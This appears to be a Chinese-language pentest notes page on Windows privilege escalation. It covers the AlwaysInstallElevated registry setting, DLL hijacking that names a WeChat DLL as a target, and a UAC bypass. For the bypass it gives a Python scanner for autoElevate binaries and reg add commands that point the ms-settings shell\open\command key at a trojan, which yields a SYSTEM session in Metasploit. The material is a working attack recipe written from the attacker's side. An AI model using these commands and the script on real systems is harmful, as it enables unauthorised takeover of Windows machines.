windows提权及权限维持
windows提权
windows权限维持
本文档使用 MrDoc 发布
-
+
windows提权
## 一、注册键 AlwaysInstallElevated > 管理员配置错误:允许低权限的用户来使用system安装软件;也就是说,正常安装会弹出UAC  ``` # gpedit.msc 打开组策略编辑器,在计算机配置-管理模板-windows组件,找到windows installer,查看“始终以提升的权限进行安装”是否启用 # 管理员可利用注册表修改 reg add HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1 reg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1 ``` ## 二、本地DLL劫持提权 windows程序启动的时候需要DLL。如果这些DLL不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。通常Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索: 1. 应用程序加载的目录(**用户可控**) 2. C:\Windows\System32 3. C:\Windows\System 4. C:\Windows 5. 当前工作目录Current Working Directory,CWD 6. 在PATH环境变量的目录(先系统后用户) 这样的加载顺序很容易导致一个系统dll被劫持,因为只要攻击者将目标文件和恶意dll放在一起即可,导致恶意dll先于系统dll加载,而系统dll是非常常见的。 利用: 程序运行一般会加载系统dll或本身程序自带的dll,如果将程序执行时需要加载的dll文件替换成木马程序,那么下次在启动程序时所加载的dll就是我们替换的那个木马程序了。 **攻击过程:收集进程加载的dll -> 制作dll木马并上传 -> 替换dll -> 启动应用后成功** 例如: 微信: mmmojo_64.dll 可以上线。 ## 三、Bypass UAC >有一个前提条件,必须拿到拥有Administrator用户组的账号。 同时,运行软件的时候,会弹出UAC认证,但是攻击方在msf中,没有弹窗,无法点击UAC的认证。 有**部分程序默认在UAC的白名单中**,打开这些程序获取到管理员权限时是不会弹UAC窗口。这些程序的`autoElevate`属性为True,启动的时候会静默提升为管理员权限。 可以利用这些步骤来绕过UAC: 1. 程序的.manifest后缀,的配置属性`<autoElevate>True</autoElevate>`值为True 2. 同时该程序不弹UAC窗口 3. 程序会查询注册表中的`Shell\Open\command`键值对,同时执行该注册表中的配置的值的命令 (通常以shell\open\command命名的键值对存储的是**可执行文件**的路径,如果exe程序运行的时候找到该键值对,**就会运行该键值对的程序**,而因为exe运行的时候是静默提升了权限,所以运行的该键值对的程序就已经过了uac。所以我们把恶意的exe路径写入该键值对,那么就能够过uac执行我们的恶意exe。) python脚本 ```python #!/usr/bin/env python # -*- coding: UTF-8 -*- """ @Project :pythonProject @File :manifest_scan.py @Author :马蜂窝 @Date :23/12/21/0021 23:45 @脚本说明: """ import os import psutil from subprocess import * from colorama import init, Fore # 初始化colorama init() def get_file_list(file_list=[], path=r'c:\windows\system32'): ''' 获取文件夹程序列表 :param file_list: :param path: :return: ''' if os.path.isfile(path): if path[-4:] == '.exe': file_list.append(path) elif os.path.isdir(path): try: for s in os.listdir(path): get_file_list(file_list, os.path.join(path, s)) except Exception as e: pass return file_list def open_program_silently(program_path): ''' 静默打开程序,如果触发了UAC弹窗,则返回False.能正常打开则返回True :param program_path: :return: ''' # 创建启动信息结构体 startupinfo = STARTUPINFO() startupinfo.dwFlags |= STARTF_USESHOWWINDOW # 隐藏窗口 startupinfo.wShowWindow = SW_HIDE # 隐藏窗口 # 创建进程 try: Popen(program_path, startupinfo=startupinfo,stdout=DEVNULL, stderr=DEVNULL) for proc in psutil.process_iter(): if proc.name() == program_path.split('\\')[-1]: proc.kill() return True except OSError as e: if e.winerror == 740: return False except Exception as else_error: return 'fail' def is_autoElevate_true(): ''' 检查文件的autoElevate属性是否为true :param path: :return: ''' files = get_file_list([]) for each_file in files: if each_file[-4:] == '.exe': command = r'C:\Windows\System32\sigcheck64.exe -m "{}" | findstr auto'.format(each_file) p1 = Popen(command, shell=True, stdin=PIPE, stdout=PIPE) if '<autoElevate>true</autoElevate>' in p1.stdout.read().decode('gb2312'): copy_command = r'copy {} .\success'.format(each_file) Popen(copy_command, shell=True, stdin=PIPE, stdout=PIPE) print(Fore.GREEN + f'[+] {each_file}') with open('success.txt', 'at') as f: f.writelines('{}\n'.format(each_file)) if __name__ == '__main__': is_autoElevate_true() ``` 第一次跑之前,需要单独运行下命令,让这个sigcheck64.exe程序先同意一次。  再次运行脚本就可以出现下图的结果:  单独查看某一个文件的 manifest 配置内容:  经过3天时间,找到了一个可以利用的**ComputerDefaults.exe**  第一个:手动注册表,找到 计算机\HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command  第二个:命令可以直接再msf中的 拥有管理员权限账号上使用。 ```cmd reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /ve /d "D:\Program.exe" /f #D:\Program.exe 木马文件所在位置, reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /d "" /f ``` msf上线:  > 木马没变,但是执行木马的用户,是system去执行的。 > > ComputerDefaults.exe--内部有个 <autoElevate>True</autoElevate>配置 提权执行-->注册表 --->shell/open/comman --->默认值 --->木马 其他的提权方式; >使用 post/multi/recon/local_exploit_suggester 进行漏洞扫描 
admin
2023年12月24日 20:59
转发文档
收藏文档
上一篇
下一篇
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
PDF文档(打印)
分享
链接
类型
密码
更新密码